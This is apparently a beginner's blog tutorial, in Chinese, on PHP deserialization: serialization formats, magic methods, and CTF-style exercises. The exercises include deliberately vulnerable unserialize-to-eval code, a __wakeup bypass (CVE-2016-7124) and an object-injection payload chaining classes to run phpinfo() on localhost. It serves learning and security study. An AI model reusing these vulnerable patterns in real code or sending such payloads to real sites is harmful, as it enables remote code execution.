php反序列化入门
最近学了一下php反序列化,准备记录一下,如果有误的地方还麻烦大佬指出
0x01 序列化
先看看常见的类型序列化之后格式是怎么样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php $num = 123; $float = 1.2; $str = 'test'; $null = NULL; $bool = true; $arr = array(1,'test', 'x' => 'b'); class OBJ{ public $public = 'public'; protected $protected = 'protected'; private $private = 'private'; var $str;
function test(){ echo 'test'; } }
echo serialize($str)."\n"; echo serialize($num)."\n"; echo serialize($float)."\n"; echo serialize($null)."\n"; echo serialize($bool)."\n"; echo serialize($arr)."\n"; $obj = NEW OBJ(); echo serialize($obj)."\n"; echo urlencode(serialize($obj)) ?>
|
这里有数字,字符串,NULL,数组,类,序列化之后的格式,下面是输出后的结果
1 2 3 4 5 6 7
| s:4:"test"; i:123; d:1.2; N; b:1; a:3:{i:0;i:1;i:1;s:4:"test";s:1:"x";s:1:"b";} O:3:"OBJ":4:{s:6:"public";s:6:"public";s:12:" * protected";s:9:"protected";s:12:" OBJ private";s:7:"private";s:3:"str";N;}O%3A3%3A%22OBJ%22%3A4%3A%7Bs%3A6%3A%22public%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00protected%22%3Bs%3A9%3A%22protected%22%3Bs%3A12%3A%22%00OBJ%00private%22%3Bs%3A7%3A%22private%22%3Bs%3A3%3A%22str%22%3BN%3B%7D
|
字符串序列化 s:(字符串长度):(字符串); s代表字符串str
数字序列化 i:(数字) ;i代表整数类型int
浮点数序列化 d:(数字); d代表浮点数double,查了一下php种double和float好像是相同的
NULL序列化 很简单就是N;
布尔序列化 b:(true为1,false为0);
数组序列化 a代表array,a:(数组内的元素数量):{(下标的类型):(下标的值);(元素的类型):(元素的值);}
类序列化 O代表Object,O:(类名的长度):(类名的字符串):(类中成员变量的数量):{(成员变量名的类型):(成员变量名的长度):(成员变量名);(成员变量的值得类型):(成员变量的值的长度):(成员变量名的值);}
这样写的可能不是很准确,如果成员变量的值不是字符串的话相应的写法也要修改,比如是整形的话就是i:(数字)
然后要说一下类的访问控制
public 公有,类成员可以在任何地方被访问,如果不加public默认为公有
protected 受保护,可以被自身或者子类和父类访问到
private 私有 只能被自身访问
从上面序列化的结果可以看到public变量里面长度都是正常的
protected的格式为(%00%00变量名),上面的例子受保护的变量名长度为12,变量名长度为9,剩下3个是%00%00注意不是空格是%00,这也是为什么后面有用url编码打印一次,因为方便看到
private的格式为(%00类名%00变量名)
最后写了个var只是想表达如果不设置访问控制默认为public
0x02 魔术方法
因为是入门只要知道常见的几个就行了(因为别的我现在也没学得很清楚哈哈)
__construct() 当一个对象被创建时调用
__destruct() 当一个对象被销毁时调用
__sleep() 序列化之前会先调用这个函数
__wakeup() 在反序列化之后立即被调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class test{ public $test='test'; public function a(){ echo $this->test."\n"; } public function __construct(){ echo '__construct'."\n"; } public function __destruct(){ echo '__destruct'."\n"; } public function __sleep(){ echo '__sleep'."\n"; return array("a"); } public function __wakeup(){ echo '__wakeup'."\n"; } }
$object = new test(); $serialize = serialize($object); $unserialize = unserialize($serialize); $unserialize->a(); ?>
|
下面是输出结果
1 2 3 4 5 6
| __construct #创建一个对象调用__construct __sleep #序列化调用__sleep __wakeup #反序列化调用__wakeup test #调用方法 __destruct #销毁第一个实例 __destruct #销毁第二个反序列化生成的实例
|
0x03 入门题目
1 2 3 4 5 6
| <?php $str = unserialize($_GET['str']); if ($str == 'flag'){ echo 'flag'; } ?>
|
这里不写太复杂了知道意思就行,就是需要让一个字符串反序列化之后和flag相同,那么只需要序列化一下flag字符串就可以得到payload
http://127.0.0.1?str=s:4:"flag";
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class ctf{ private $code = ""; function __wakeup(){ $this->code='hack'; }
function __destruct(){ eval($this->code); } } $code = unserialize($_GET['code']); ?>
|
这里有两个知识点一个是__wakeup的绕过,还有一个是私有成员变量要写的不一样
关于__wakeup的绕过可以查看这个漏洞CVE-2016-7124
php5 < 5.6.25
php7 < 7.0.10
当对象成员变量数量大于实际对象成员变量数量,会跳过__wakeup()
私有变量在成员变量名处要写成 %00类名%00变量名
http://127.0.0.1?code=O:3:%22ctf%22:2:{s:9:%22%00ctf%00code%22;s:10:%22phpinfo();%22;}
这样就可以通过eval执行php代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class A{ public $target; function __construct(){ $this->target = new B; } function __destruct(){ $this->target->action(); } }
class B{ function action(){ echo "action B"; } }
class C{ public $test; function action(){ echo "action A"; eval($this->test); } } unserialize($_GET['test']) ?>
|
这里是同名方法的利用
因为B和C中同名方法action(),可以构造一个payload让__destruct调用class C的方法执行php代码
class A中的target需要是一个对象才可以调用action()方法,首先反序列化class C
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class C{ public $test='phpinfo();'; function action(){ echo "action A"; eval($this->test); } } $obj = NEW C(); echo serialize($obj); ?>
|
接下来再反序列化class A
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class A{ public $target; function __construct(){ $this->target = new B; } function __destruct(){ $this->target->action(); } } class B{ function action(){ echo "action B"; } } $obj = new A(); echo serialize($obj); ?>
|
把后面那个class B改成class C序列化后的字符串,得到payload
http://127.0.0.1?test=O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}
最后总结一下就是这篇文章也没写什么高深的吧,就是把自己学到的写出来,以后入门完成了希望写出好文章